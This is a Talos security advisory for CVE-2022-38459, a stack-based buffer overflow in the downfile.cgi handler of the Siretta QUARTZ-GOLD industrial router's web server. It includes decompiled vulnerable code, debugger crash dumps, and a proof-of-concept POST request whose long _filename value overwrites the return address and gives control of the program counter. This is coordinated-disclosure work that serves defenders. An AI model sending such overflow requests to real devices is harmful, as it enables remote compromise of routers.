Talos Vulnerability Report

TALOS-2022-1608

Siretta QUARTZ-GOLD httpd downfile.cgi stack-based buffer overflow vulnerability

January 26, 2023
CVE Number

CVE-2022-38459

SUMMARY

A stack-based buffer overflow vulnerability exists in the httpd downfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

PRODUCT URLS

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

CVSSv3 SCORE

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

DETAILS

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

The QUARTZ-GOLD router has a web server with several functionalities, a subset of which are related to the management of external files. Indeed, the web-server offers API for uploading files, downloading them, and also deleting if no longer required.

Following the API to download a previously uploaded file:

void downfile.cgi(void)

{
  [...]

  _filename_param = (char *)webcgi_safeget("_filename");                                                        [1]
  filename = "";
  if (_filename_param != (char *)0x0) {
    filename = _filename_param;
  }
  [... calculate base_folder ...]
  if (*filename != '\0') {
    sprintf(buff,"Content-Disposition:attachment;filename=\"%s\"",(char)filename);
    send_header(200,buff,"application/tomato-binary-file",0);
    sprintf(buff,"%s/%s",base_folder,filename);                                                                 [2]
    do_file(buff);                                                                                              [3]
  }
  return;
}

The downfile.cgi expects one parameter called _filename that represents the filename of the desired file to be downloaded. At [1] the uploaded parameter is taken and then used at [2]. The function used at [2] is a sprintf, which does not take into consideration the size of the buffer. If the _filename parameter is longer than a certain length, the instruction at [2] would cause a stack-based buffer overflow that could led to remote code execution.

Crash Information

$r0  : 0x0       
$r1  : 0x0       
$r2  : 0x7ef38c60  →  "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
$r3  : 0x2000    
$r4  : 0x61666b61 ("akfa"?)
$r5  : 0x61676b61 ("akga"?)
$r6  : 0x61686b61 ("akha"?)
$r7  : 0x1       
$r8  : 0x0       
$r9  : 0x0001e658  →  "downfile.cgi"
$r10 : 0x0001dbac  →  0x0001e658  →  "downfile.cgi"
$r11 : 0x7ef3b784  →  "admin"
$r12 : 0x2ae5573c  →  0x2ae41ac4  →  <_pthread_cleanup_pop_restore+0> push {r3,  lr}
$sp  : 0x7ef39070  →  "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
$lr  : 0x2ae3bb30  →  <free+492> pop {r0,  r1,  r2,  r3,  r4,  r5,  r6,  pc}
$pc  : 0x61696b60 ("`kia"?)
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7ef39070│+0x0000: "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"     ← $sp
0x7ef39074│+0x0004: "akkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39078│+0x0008: "aklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef3907c│+0x000c: "akmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39080│+0x0010: "aknaakoaakpaakqaakraaksaaktaak"
0x7ef39084│+0x0014: "akoaakpaakqaakraaksaaktaak"
0x7ef39088│+0x0018: "akpaakqaakraaksaaktaak"
0x7ef3908c│+0x001c: "akqaakraaksaaktaak"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:THUMB ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61696b60
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "httpd", stopped 0x61696b60 in ?? (), reason: SIGSEGV

Exploit Proof of Concept

Sending a request like the following:

POST /downfile.cgi HTTP/1.1
Authorization: Basic <a valid basic auth>
Content-Length: 1119

_filename=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak&_http_id=<the correct tid>

The status at the return address of the downfile.cgi function would be:

$r0  : 0x0       
$r1  : 0x0       
$r2  : 0x7ef38c60  →  "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
$r3  : 0x2000    
$r4  : 0x7ef38c60  →  "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
$r5  : 0x00031082  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$r6  : 0x0002272b  →  "/jffs"
$r7  : 0x1       
$r8  : 0x0       
$r9  : 0x0001e658  →  "downfile.cgi"
$r10 : 0x0001dbac  →  0x0001e658  →  "downfile.cgi"
$r11 : 0x7ef3b784  →  "admin"
$r12 : 0x2ae5573c  →  0x2ae41ac4  →  <_pthread_cleanup_pop_restore+0> push {r3,  lr}
$sp  : 0x7ef39060  →  "akfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaak[...]"
$lr  : 0x2ae3bb30  →  <free+492> pop {r0,  r1,  r2,  r3,  r4,  r5,  r6,  pc}
$pc  : 0x0000f96c  →   pop {r4,  r5,  r6,  pc}
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7ef39060│+0x0000: "akfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaak[...]"    ← $sp
0x7ef39064│+0x0004: "akgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraak[...]"
0x7ef39068│+0x0008: "akhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaak[...]"
0x7ef3906c│+0x000c: "akiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39070│+0x0010: "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39074│+0x0014: "akkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef39078│+0x0018: "aklaakmaaknaakoaakpaakqaakraaksaaktaak"
0x7ef3907c│+0x001c: "akmaaknaakoaakpaakqaakraaksaaktaak"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
       0xf960                  mov    r0,  sp
       0xf964                  bl     0xbbc8
       0xf968                  add    sp,  sp,  #1024   ; 0x400
 →     0xf96c                  pop    {r4,  r5,  r6,  pc}
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "httpd", stopped 0xf96c in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf96c → pop {r4,  r5,  r6,  pc}
[#1] 0x2ae3bb30 → free()

So the next instruction will populate the pc with the fourth dword contained in the stack, so:

gef➤  hexdump dw $sp
0x7ef39060│+0x0000   0x61666b61   
0x7ef39064│+0x0004   0x61676b61   
0x7ef39068│+0x0008   0x61686b61   
0x7ef3906c│+0x000c   0x61696b61   
[...]

After the pop the pc will contain the 0x61696b61 value.

TIMELINE

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.